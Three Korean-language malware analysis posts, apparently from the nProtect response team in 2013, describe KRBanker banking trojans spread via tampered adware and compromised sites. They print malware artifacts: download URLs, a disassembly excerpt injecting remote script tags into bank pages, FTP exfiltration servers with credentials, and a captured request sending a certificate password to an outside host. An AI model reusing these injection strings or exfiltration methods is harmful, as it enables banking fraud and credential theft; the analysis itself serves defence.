1. 불청객 애드웨어와 KRBanker, 내 안에 너 있다.


잉카인터넷 대응팀은 최근 금융사 보안모듈의 메모리를 변조하는 지능화된 공격방식의 파밍용 악성파일이 변칙적인 광고성 악성 프로그램(애드웨어)을 통해서 은밀하게 전파되는 정황을 포착하였고, 그 실체를 처음으로 공개하고자 한다. 그동안 전자금융사기를 위한 악성파일들은 불특정 다수의 웹 사이트에 각종 보안 취약점 코드를 삽입하고 보안상태가 허술한 이용자들에게 무작위로 감염시키는 이른바 Drive By Download 기법이 주류를 이루고 있어, 웹 관제 감시센서 등을 통해서 조기에 탐지하여 차단하는 효과를 발휘하고 있다. 그러나 이번과 같이 포털사이트의 블로그나 인터넷 카페 등에 마치 정상적인 프로그램처럼 둔갑한 애드웨어 파일의 내부에 별도 악성파일을 몰래 추가한 경우 애드웨어로 단순분류되거나 보안패치가 최신으로 유지된 상태라 할지라도 추가 악성파일에 감염될 수 있게 된다.

잉카인터넷 대응팀이 자체 조사한 결과 이미 다수의 애드웨어 프로그램들이 변조되어 파밍용 악성파일을 전파해주는 또 다른 매개체로 악용되고 있는 사실을 확인했다. 이처럼 전자금융사기용 악성파일들은 유포기법부터 감염방식까지 갈수록 고도화, 지능화되고 있는 추세이다. 더불어 이런 방식은 자신의 컴퓨터가 최신의 보안상태를  유지하고 있더라도 변칙적인 광고프로그램에 현혹되어 노출되는 순간 파급력 및 위험도가 높은 전자금융사기용 악성파일에 동시 감염될 수 있다는 점에서 의미하는 바가 크고 이용자들의 각별한 주의가 요망된다.

2. 파밍용 악성파일을 품은 Adware

한국내 인터넷 뱅킹 이용자들을 겨냥한 맞춤형 악성파일인 KRBanker 종류는 변종이 거의 매일 발견되고 있을 정도로 그 심각성이 높아지고 있고, 우후죽순으로 퍼져나가고 있다. 사이버 범죄자들은 용의주도하게 이미 글로벌 기업형 사기단으로 활동할 정도로 조직이 발전하고 있고, 사이버상의 암전존재로 자리매김하고 있는 상태이다. 특히, 초기 호스트파일(hosts)을 변조하는 고전적인 단순수법에서 벗어나 나날이 고도화되고 있고, 보안모듈을 우회하거나 직접적으로 겨냥하는 등 치밀하고 과감해지는 추세이다.

최근 발견된 사례는 Drive By Download 방식의 웹 보안취약점을 이용하지 않고, 인터넷 이용자들의 활동반경과 심리를 절묘하게 역이용하여, 기존에 뿌려지고 있던 애드웨어에 KRBanker 변종 악성파일을 추가하는 방식을 도입했다. 따라서 이용자가 운영체제와 주요 응용프로그램의 최신 보안업데이트를 설치한 경우라도 애드웨어에 노출되는 순간 악성파일에 무장해제 되는 잠재적 보안위협에 노출될 수 있다. 

애드웨어들에 대한 정보는 아래 내용에서 자세히 확인해 볼 수 있다.

[안내]유해 가능한 변칙 광고프로그램 감염 예방하기 십계명
☞ http://erteam.nprotect.com/350

[칼럼]불순한 변칙 광고프로그램 유해성 판단여부 하나도 애매하지 않다.
☞ http://erteam.nprotect.com/346

[칼럼]국산 유해가능 제휴프로그램 난립실태와 근절대책의 핵심
☞ 
http://erteam.nprotect.com/319


기존에도 애드웨어 종류의 악성파일을 변조하거나, 해당 사이트를 해킹하여 온라인 게임 계정 탈취용 악성파일이 배포된 경우는 여러 번 보고된 바 있다. 이러한 사이버 범죄자들이 온라인 게임 계정 뿐만 금융정보 탈취도 적극적으로 시도하고 있어 앞으로 다양한 방식의 공격이 발생할 것으로 우려된다.


변조된 애드웨어 (다운로더)프로그램이 실행된 후 약 10~20초 정도가 지나면 "kakutk.dll" 이름의 추가 악성파일이 설치된다.

2013년 05월 경까지 발견되었던 "kakutk.dll" 악성파일은 국내 유명 온라인 게임 계정 탈취용 기능만 보유하고 있었으나, 2013년 07월 경부터는 온라인 게임 계정 탈취 기능에 파밍 기능까지 추가된 상태로 발전된 상태이다.


해당 악성파일은 온라인 게임 계정탈취 기능도 함께 보유하고 있으며, 악성 드라이버 파일을 생성해서 유명 보안솔루션들이 정상적으로 작동하지 못하도록 방해기능을 시도하기도 한다. 


"kakutk.dll" 악성파일과 관련된 내용은 아래를 참고하면 좋겠다.

[주의]소켓통신(WinSock)을 가로채기하는 전자금융사기 수법 추가 등장
☞ http://erteam.nprotect.com/434


이렇듯 애드웨어를 변조하여 전자금융사기용 악성파일을 전파하는 기법도 발견되었기 때문에 인터넷 이용자들은 블로그나 인터넷 카페에서 다운로드한 프로그램을 실행할 경우 각별한 주의가 필요하다.

3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.

 

2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : 
http://avs.nprotect.com/

 

저작자 표시
신고
Posted by nProtect

1. 공인인증서 유출로 인한 피해 주의


잉카인터넷 대응팀은 2013년 02월 01일 해외의 특정 FTP 서버로 국내 이용자들의 공인인증서(NPKI)파일이 다량으로 유출된 정황을 포착하였다. 해당 악성파일(KRBanker)은 국내 IP주소로 할당되어 있는 곳에서 유포되었는데, 도메인은 2013년 1월 21일 중국인으로 추정되는 명의로 생성된 곳이다. 또한, 악성파일은 2013년 01월 25일 잉카인터넷 대응팀을 통해서 공개된 바 있는KRBanker 변종형태로 실제 공인인증서 창의 클래스명(QWidget)을 감시하고 있다가 공인인증서가 활성화되면 조작된 가짜 입력화면을 교묘히 겹쳐서 입력되는 비밀번호를 탈취하게 된다.

기존의 정상적인 전자서명 화면을 이용하고 있다는 점에서 각별한 주의가 필요하다. 특히, 전자금융사기 사이버 범죄자들이 운영하는 FTP 서버에 다수의 공인인증서가 탈취된 내역이 공식적으로 확인된 상태이기 때문에 그 심각성이 사실로 입증되었고, 유출된 공인인증서(NPKI) 파일들이 또 다른 범죄에 악용될 소지도 충분히 있을 수 있으므로, 금융보안 강화에 그 어느 때보다 많은 관심을 가져야 할 시기이다. 더불어 이용자들은 보안카드의 전체 비밀번호를 컴퓨터에 보관해 두지 않도록 하며, 인터넷 상에서 보안카드의 모든 비밀번호를 입력하도록 요구하는 경우 100% 금융 피싱(파밍)이라는 점을 명심해야 한다.

■ 유사 변종 정보
[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일
http://erteam.nprotect.com/383
 
2. 악성파일의 상세 기능 및 공인인증서 탈취 과정

해당 악성파일(KRBanker)은 웹 사이트의 보안취약점을 통해서 전파되는 수법을 이용하고 있어, 보안이 취약한 이용자가 해킹되어 변조된 특정 웹 사이트의 접속만으로 악성파일에 감염되게 되고, 이용자는 자신이 언제 악성파일에 감염되었는지 인지하지 못하는 경우가 일반적이다.

악성파일에 감염이 이루어지면, 윈도우(Windows) 하위폴더에 "hanhelp" 이름의 폴더를 생성하고, 특정 웹 사이트로 접속하여 추가 악성파일을 다운로드한다.

hxxp://www.ki****tel.com/web/down/LoginMgr.dll
hxxp://www.ki****tel.com/web/down/kbs.exe
hxxp://www.ki****tel.com/web/down/NDeleteAll.exe
hxxp://www.ki****tel.com/web/down/ftp.exe

악성파일 유포에 사용된 도메인은 중국인 추정의 명의로 등록되어 있다.


각각의 파일은 서버에서 컴퓨터에 다운로드될 때 파일명 앞부분에 ps 라는 접두어가 추가되어 생성된다.


"psLoginMgr.dll" 파일은 웹 도우미 객체(BHO:Browser Helper Objects)에 등록시켜, 웹 브라우저(Internet Explorer)가 동작시 자동으로 실행되도록 만들며, 아래와 같이 다양한 기능을 수행한다.

- 특정 금융사이트 도메인 접속시 윈도우 방화벽 서비스를 중지하고, 감염된 컴퓨터의 MAC 주소 등을 외부로 유출 시도한다. 또한, 조건에 따라 모든 악성파일을 스스로 삭제하는 기능의 "psDeleteAll.exe" 파일을 실행한다.

 - "psDeleteAll.exe" 명령 수행조건이 아니면, [GetWindowsDirectoryA] API 함수를 통해서 윈도우 경로를 구하고, [WinExec] 명령을 통해서 "hanhelp" 폴더에 포함된 "pskbs.exe" 악성파일을 실행하도록 한다.


- 사용자의 MAC 주소를 체크하고, Internet Explorer 버전을 확인한다.


- Internet Explorer 버전을 확인 후에 특정 웹 사이트로 접근하여 버전에 따라 "kbstar_IE6.js", "kbstar_IE8.js" 스크립트 파일을 실제 금융사이트의 Body 부분에 삽입하게 된다.

10020C00  page=C018393&strGuidViewFlag=Y&USER_ID_KEY=SECURITY_ID_KEY&RESCODE=111&page=C018393  68000C0210
1000684d  PUSH 10020C54  &va1lue=Az01  68540C0210
100068ce  PUSH 10020C68  &nbsp <script defer src='http://www.ucim***.com/web/ordercard/kbstar_IE6.js'></script>  68680C0210
100068f2  PUSH 10020CC0  &nbsp <script defer src='http://www.ucim***.com/web/ordercard/kbstar_IE8.js'></script>  68C00C0210
10006925  PUSH 10020D18  afterBegin  68180D0210

자바스크립트 파일 내부에는 인터넷 뱅킹용 보안카드 비밀번호를 입력하도록 유도하고, 탈취시도하는 코드들이 포함되어 있다.


- "pskbs.exe" 파일이 실행되면 "psftp.exe" 파일을 보이지 않도록[SW=HIDE] 실행하기 때문에 실제 화면에는 보이지 않는다.

- "pskbs.exe" 파일은 이용자가 특정 금융사이트 접속시 공인인증서 화면이 나오는지 감시하기 위해서 전자 서명창의 클래스명인 "QWidget" 이름을 비교하고, [GetWindowTextW] 함수로 만들어진 가짜 입력 폼에 입력되는 공인인증서 암호 등의 탈취를 시도한다.

- "psftp.exe" 파일이 실행되면 사용자의 하드디스크의 드라이브를 순차적으로 검색하고, 공인인증서(NPKI) 존재여부를 조회한다.


- 공인인증서(NPKI) 파일이 검색되면 FTP 서버(174.139.67.234)로 접속하여 감염된 컴퓨터의 MAC 주소 이름으로 서버에 폴더를 생성하고, 공인인증서를 업로드한다.


이러한 과정을 통해서 유출되는 공인인증서(NPKI)들은 미국소재의 [174.139.67.234] IP주소의 FTP로 전송이 되며, 내부에는 실제로 다음과 같이 다수의 공인인증서 파일이 유출된 내역을 볼 수 있다.

이중 FTP 서버에 공인인증서 파일이 등록된 시간기준으로 2013년 01월 31일 오전 07시 56분과 08시 02분에 등록된 공인인증서는 중국인 명의로 추정되는 사용자 파일이 업로드되어 있다.



해당 공인인증서는 2012년 09월 29일 발급되었고, 2013년 10월 27일 만료 예정이다.


그런데 이 공인인증서는 MAC 주소가 VMWare 프로그램상에서 초기값(00:0c:29:**:**:**)으로 사용되는 코드를 사용하고 있어, 실제 악성파일 유포 조직들이 탈취 테스트를 수행한 것으로 의심되고 있다.


또한, 특정 하위 폴더에는 한글로 "새 폴더"가 생성되어 있었고, "down.rar" 압축파일에는 또 다른 변종도 등록되어 있었다.



3. 피싱 사이트 진위 여부 판단법

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


 

2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/

 

저작자 표시
신고
Posted by nProtect
1. 공인인증서 암호를 직접 겨냥한 KRBanker 변종 등장


국내 인터넷 뱅킹용 이용자들을 노린 악성파일(KRBanker) 변종이 거의 매일 새롭게 발견되고 있는 가운데, 최근 기존과 다른 형태의 악성파일 유형이 발견되었다. 지금까지 발견된 다양한 형태 중 대다수는 호스트파일(hosts)의 내용을 변경하여 정상적인 금융사이트 주소로 접속을 하더라도 피싱사이트로 연결되도록 조작하는 방식이 주로 이용되고 있다. 그외에 호스트파일(hosts)을 변경하지 않고 악성파일이 사용자의 인터넷 접속 사이트를 모니터링하다가 특정 금융사이트 주소에 접근시 피싱사이트로 웹 페이지를 교묘하게 바꿔치기 하는 수법 등이 존재한다. 이러한 방식은 모두 공통적으로 가짜로 만들어진 공인인증서 전자서명 로그인 화면을 보여주어 사용자가 입력하는 공인인증서 암호를 손쉽게 탈취할 수 있도록 만들어져 있다. 하지만 최근에 발견된 악성파일은 실제 공인인증서 화면에 가짜 폼을 교묘히 덮어씌어 입력되는 암호 자체를 탈취하기 시작했다.

이처럼 전자금융사기용 악성파일이 다각적인 방식을 도입하는 등 꾸준히 지능화되고 있다는 점을 명심하고, 전자금융서비스 이용자들 스스로 금융보안위협에 노출되지 않도록 각별히 주의해야 한다. 특히, 그 무엇보다 어떠한 경우라도 인터넷 뱅킹용 보안카드의 전체번호 모두를 동시에 입력하지 않도록 유념해야 한다.



[주의]OTP 이벤트로 위장한 전자금융사기용 악성파일(KRBanker)
http://erteam.nprotect.com/381

[주의]안랩 프로그램 사칭 인터넷 뱅킹용 악성파일
http://erteam.nprotect.com/380

[주의]금융 보안프로그램으로 둔갑한 악성파일 출현
http://erteam.nprotect.com/379

[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장
http://erteam.nprotect.com/378

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.
http://erteam.nprotect.com/374

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.
http://erteam.nprotect.com/373

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포
http://erteam.nprotect.com/293

[주의]국내 인터넷 뱅킹 보안승급서비스 사칭한 스마트폰 문자피싱
http://erteam.nprotect.com/258


2. 악성파일 정보

이번에 발견된 악성파일(KRBanker)은 국내 특정 웹 사이트가 불법 변조되어, JAVA 보안취약점을 보유하고 있는 사용자가 사이트에 접속하는 것만으로 악성파일에 자동적으로 감염되도록 만들어져 있었다.


보안취약점에 노출되어 Dropper 기능의 1차 악성파일("RunIeHelpG.exe")에 감염되면, 윈도우즈(Windows) 하위 폴더에 "handownbak" 이름의 폴더가 생성되고, 내부에 "kbs.exe", "ftp.exe", "LoginMgr.dll", "DeleteAll.exe", "config.ini" 등의 악성파일이 추가로 생성되고 실행된다.


"kbs.exe" 파일은 한국어 프로그램 언어로 제작되어 있고, 원본파일명은 한국(han)과 은행(bank)을 의미하는 것으로 추정되는 "hanbank.exe" 이다.


사용자가 웹 브라우저를 이용해서 특정 인터넷 뱅킹 사이트에 접속을 시도하면 다음과 같이 "kbs.exe", "ftp.exe" 등이 실행되며, 사용자의 공인인증서(NPKI) 탈취시도와 함께 감염된 컴퓨터의 MAC주소, 공인인증서(NPKI) 로그인 암호 탈취 등이 시도된다.


"ftp.exe" 파일의 경우 110.34.233.146 주소의 FTP 주소로 로그인(a123/a123)하여 공인인증서(NPKI) 파일을 전송시도한다.


감염된 사용자가 실제 공인인증서 화면에서 로그인을 시도하게 되면 다음과 같이 MAC주소와 공인인증서 암호 등이 외부로 탈취시도된다. 아래 화면은 실제 공인인증서를 이용해서 테스트를 수행한 화면이며, 테스트에 사용된 "npki_pass_test" 값의 암호가 외부로 전송 시도되는 것을 확인해 볼 수 있다.


GET /web/ups/in.asp?mac=00-03-FF-08-B4-43&servname=kbstar.com&bankpass=&password=npki_pass_test HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2)
Host:
www.colorephone.com
Connection: Keep-Alive

앞서 설명한 바와 같이 공인인증서와 암호 탈취를 시도하는 과정에서 실제 금융권에서 서비스 중인 키보드보안 프로그램이 악성파일의 동작을 감지하여 다음과 같은 안내창을 띄우고, 강제로 웹페이지 접속을 차단하여, 실제 테스트에서는 공인인증서 다음 화면으로 이동하지는 못하였다.


악성파일 제작자들은 다양한 기법을 이용해서 전자금융사기용 악성파일(KRBanker)을 꾸준히 제작하고 있고, 거의 매일 새롭게 변종이 양산되어 유포 중이다. 아울러 피싱사이트 뿐만 아니라 실제 금융사이트의 정보를 직접 겨냥하여 탈취도 시도하고 있다는 점을 간과해서는 안될 것이다.

금일 오전에도 다양한 피싱사이트가 발견되었고, 피싱사이트의 메인 화면에는 아래와 같이 실제 존재하지 않는 팝업 화면을 출력하여 이용자들로 하여금 금융정보를 입력하도록 유혹하고 있다. 해당 피싱사이트는 한국인터넷진흥원(KISA) 종합상황실에 긴급으로 차단을 요청한 상태이다.


피싱사이트는 대부분 아래와 같이 평소와 다르게 금융정보를 과도하게 입력하도록 유도하며, 특히 보안카드의 모든 비밀번호를 입력하도록 하는 것이 특징이다. 국내의 어떠한 금융권도 보안카드의 모든 비밀번호를 동시에 요구하는 경우는 없다는 점을 명심한다면 유사한 보안위협을 효과적으로 예방할 수 있다.


3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
Posted by nProtect